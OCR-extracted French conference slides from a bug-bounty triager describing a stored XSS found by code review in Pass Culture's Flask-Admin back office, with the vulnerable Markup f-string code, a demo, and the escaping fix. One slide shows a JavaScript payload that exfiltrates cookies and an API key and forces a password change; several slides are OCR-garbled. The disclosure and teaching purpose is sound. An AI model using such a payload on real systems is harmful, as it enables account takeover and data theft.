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MELI-MELO DE BUG BOUNTY
ACCOMPAGNE DE SA POINTE DE
CODE REVIEW

Tom CHAMBARETAUD a.k.a. Aethlios



QUISUIS-JE ?

e Triager chez Yes We Hack
e Bug bounty hunter
e Ancien du master SSI — promo 2019-2020

e @AethlioslK — https://www.aeth.cc

Tom CHAMBARETAUD a.k.a. Aethlios



LE BUG BOUNTY

e Incitation aupres des chercheurs a exploiter des
vulnérabilités pour effectuer des remontées en

échange de récompense

e Modele popularisé par Netscape en 1995

Get a bug if you find a bug.

e Le crowdsourcing appliqué a la sécurité
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e Cadre Iégale d'exploitation de vulnérabilité




LE BUG BOUNTY ET LA VDP
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LA PLATEFORME DE BUG BOUNTY
DE YES WE HACK

e Crééen 2015

e 40 000+ chercheurs vérifiés — 150+ nationalités
e 500+ programmes

e Clients dans 40 pays

e Bureaux a Paris, Lausanne & Singapour

e #] plateforme européenne de Bug Bounty
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| 'ECOSYSTEME DE YES WE H/CK
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LANGEMENT D'UN PROGRAMME

Lancement du programme
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LES INTERAGTIONS ENTRE LES AGTEURS

YES WE H/CK




LE METIER DE TRIAGER DANS LE BUG BOUNTY

e Validateur : certifie I'existence de la vulnérabilité
e Vulgarisateur : aide le client a comprendre I'exploitation
e Analyste : définit les impacts démontrés et potentiels

e Modérateur : connait la communauté et apprend a lui parler



RETOUR D'XP : BILAN DE 3 ANS DE TRIAGE

e Grande variété de technologies [ de types de vulnérabilité

e Appréhension des différents métiers des clients

e Contexte international

e Multi-tache [ Jamais le temps de se lasser d’'une application

e Rend polyvalent et autonome dans apprentissage



DEVENIR TRIAGER

e Connaissance: Top OWASP [ Mobile [ Reverse Engineering etc...
e Savoir-faire: Burp Suite [ CVSS

e Savoir-étre: Curieux / Analyser et synthétiser [/ Optimiser sa flemme

e Pour tout ¢a : Root-me [ Web Security Academy (Portswigger) [ DOJO



DEVENIR BUG BOUNTY HUNTER

e Connaissance: Top OWASP [ Mobile [ Reverse Engineering etc...
e Savoir-faire: Burp Suite [ CVSS

e Savoir-étre: Curieux / Analyser et synthétiser [/ Optimiser sa flemme

e Pour tout ¢ca : Root-me [ Web Security Academy (Portswigger) [ DOJO



POURQUOI GCEST PAS SI DUR

Accidental S70k Google Pixel
Lock Screen Bypass



CODE REVIEW ?



PROGRAMME DE BUG BOUNTY DE PASS GULTURE

Le pass Culture permet aux jeunes adultes

de plus de 18 ans d'accéder a un catalogue
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de 300€.



| E PERIMETRE

e Une plateforme destinée aux bénéficiaires

e Une plateforme destinée aux professionnels

e Une plateforme d'administration

e Toutes ces applications sont open source sur

Github avec une procédure de déploiement
local

|
W

= e
-

l
I

71\ ‘%?
NN pass
Culture rro

(ICEWELRESMTUTCE I acteurs culturels

\
\

\

A

~

\

o\
N\

/

>~



| A PLATEFORME BENEFICAIRE

e Web application en ReactJdsS

e Mobile application

SR !! vl
e Backend API en flask (Python) = =
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o de rechercher des offres

o de réserver des offres



LA PLATEFORME PROFESSIONNELLE

e Web application en ReactJdsS
e Backend API en flask (Python)

e Permet aux professionnels:

o sinscrire et créer leurs boutiques

@)

O

gérer leurs boutiques

gérer

gérer

eurs offres

es stocks

gérer les réservations

-
e
—

—
'..."h
—~
N\

SN
NN
W

H‘j{;f

L f,’g'
\

l‘\\\

|
i
1

I
I

=
7NN
I

NS pass

Culture rro
L'espace pass Culture des

1|
Wi

\
\
/]



LA PLATEFORME D'ADMINISTRATION

e Gérer via Flask Admin

e Permet aux administrateurs :

o gérer les comptes des utilisateurs

o gérer les réservations
o etc...
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UN PEUDE DOC 7



CROSS-SITE SCRIPTING

Le cross-site scripting (également connu sous le nom de XSS) est une
vulnérabilité de la sécurité web qui permet a un attaquant de compromettre les

interactions des utilisateurs avec une application vulnérable.

Ces vulnérabilités permettent normalement a un attaquant de se faire passer
pour un utilisateur victime, d'effectuer toutes les actions que l'utilisateur est en

mesure deffectuer et daccéder a toutes les données de |'utilisateur.



PYTHON STRING FORMATTING

Python 3.9.2 (default, Feb 28 2021, 1/:03:44)
[GCC 10.2.1 20210110] on linux

Type "help”, "copyright", "credits" or "license
=== name = "“Tom"

==> "Coucou %s" % name

'Coucou Tom'

==>> T"Coucou {name}"

'Coucou Tom'

=>> "Coucou {}".format(name)

'Coucou Tom'

=== "Coucou {name}".format(name=name)

'Coucou Tom'

for more information.



FLASK

web development,
one drop at a time




FLASK ADMIN

Dans un monde de micro-services et d'API|, Flask-Admin
résout le probleme ennuyeux de la construction dune
interface d'administration au-dessus dun modele de
données existant. Avec peu d'effort, il vous permet de
gérer les données de votre service web a travers une

interface conviviale.




MARKUPSAFE

from markupsafe import Markup,

escape replaces special characters and wraps in Marki
("<script>alert(document.cookie);</script>")

Markup('&Llt;script&gt;alert(document.cookie) ;&Llt;/script&gt;

# wrap in Markup to mark text "safe'" and prevent escaping
Markup('"<strong>Hello</strong>")

[

Markup('<strong>hello</strong>

) ‘i ar |_* Ll I'J | n <5 -l- " ON I!_'__IT ] H (= 1 -l 0O < .I'III 5 t Fon r:: o n : I

[ .

-ong>hello</strong>

# Markup is a str subclass
# methods and operators escape their arguments
template = Markup("Hello <em>{name}</em>")
template. format(name="'"World""')

Markup('Hello <em>&#34;World&#34;</em>")




CODE REVIEW ?



TIENS 7

127  def _metabase_offer_link(view, context, model, name) -> Markup:

128 url = _metabase_offer_url(model.id)

129 text = "offre"

130

131 return Markup(f'<a href="{url}" target="_blank" rel="noopener noreferrer">{text}</a>")



MERDE, JEN FAIS RIEN DE GA



TIENS 7

135
136
137
138
139
140
141

+ 1+ |+ + + + 4+

def _offerer_link(view, context, model, name) -> Markup:
offerer_id = model.venue.managingOffererlId
url = f"{settings.PRO_URL}/accueil?structure={humanize(offerer_id)}"

text = model.venue.managingOfferer.name

return Markup(f'<a href="{url}" target="_blank" rel="noopener noreferrer">{text}</a>")



GAY EST 7 JE PEUX SAUTER DE JOIE 7

from flask import Flask, request
from markupsafe import Markup

app = Flask(_ name

safe

| le. ¢
text = request.args.get

return Markup(f'<a href




DEMO TIME



INPUT = OFFER NAME DANS LA PAGE DE VALIDATION

Back Office du Pass Culture  Home  Offre, Lieux & Structure v Utilisateurs + Autres fonctionnalités v Feature Flipping

List (1) Add Filter =
Id Nom Validation Structure Date de

offre test 1 PENDING

1

Prevent this page from creating additional dialogs




DONNEES SENSIBLES

Utilisateurs =

Dépdt Version du
valable ? dépot Actions

133600000002 23100 ] (]

pctest.jeune?3.has-filled-cultural- PC Test F3HFC51 PC Test Jeune 93 200
3 HFCs51 00:00:00

survey. dmp le.com Jeune

PC Test 73 52 PC Test Jeune 93 2003-01-01 93 +33600000003 23100 V]

Jeune 2 00:00:00




SCENARIO D'ATTAQUE

Injection de
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<script type="module">
import {Exfiltrators, Payload, Wrapper, utils} from "./xsstools.min.js"

const exfiltrator = Exfiltrators.message()
const payload = Payload.new()
.addexfiltrator(exfiltrator)
.eval(() => document.cookie)
.exfiltrate()
.fetchDOM("/user/me")
.querySelector("input[name="apikey']", 'wvalue')
.exfiltrate()
.postUrlEncoded("/user/changePassword”, {"password": "hacked"})

const wrapper = Wrapper.new()
.evalB64()
.svgLoad()
Aframe()

const exploit = wrapper.wrap(payload)
const target = "http://vulnerable.domain", {"vulnerableParam": exploit}

window.open(target)
</script>



PAYLOAD import {Exfiltrators, Payload, Wrapper, utils}

Ors.p SON({"httj

const paylﬂad = Paylmad.ﬂew{}

.addExfiltrator(exfiltrator)

J.']':II

Lrun())




REPRODUCTION DANS LES CONDITIONS REELLES

06-04 08:42:48 pm_web-nginx_12021/06/04 08:42:48 [error] 7#7: *37 open() "/var/www/html/aeth.cc/unsafe/83527389922.js""
failed (2: No such file or directory), client: *** *** *¥* *** gerver: ~*(?<sub>.*)\.aeth\.cc, request: "GET /83527389922.js' HTTP/1.1",

host: "unsafe.aeth.cc"

06-04 08:42:48 pm_web-nginx_1 04/Jun/2021:08:42:48 +0000 | unsafe.aeth.cc *** *** *** *3* UGFT /83527389922.js' HTTP/1.1"
404 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93

Safari/537.36"



CORRECTIF

212 207
213 208
214
215
216
209
210

def _offerer_link(view, context, model, name) -> Markup:
url = _offerer_url(model.venue.managingOffererId)
text = model.venue.managingO0fferer.name

return Markup(f'<a href="{url}" target="_blank" rel="noopener noreferrer">{text}</a>")
link = Markup('<a href="{url}" target="_blank" rel="noopener noreferrer">{name}</a>")

return link.format(url=escape(url), name=escape(model.venue.managing0fferer.name))



CONCLUSION

e Le detail de cette vulnérabilite sur mon site : https://www.aeth.cc
e Un second article d'un enchainement de cette vulnérabilité avec une
vulnérabilité de "Mass Assignment"

e Le bug bounty c'est quand méme cool
e Le code review c'est encore plus cool
e RTFM des fois



MERCI!
DES QUESTIONS?



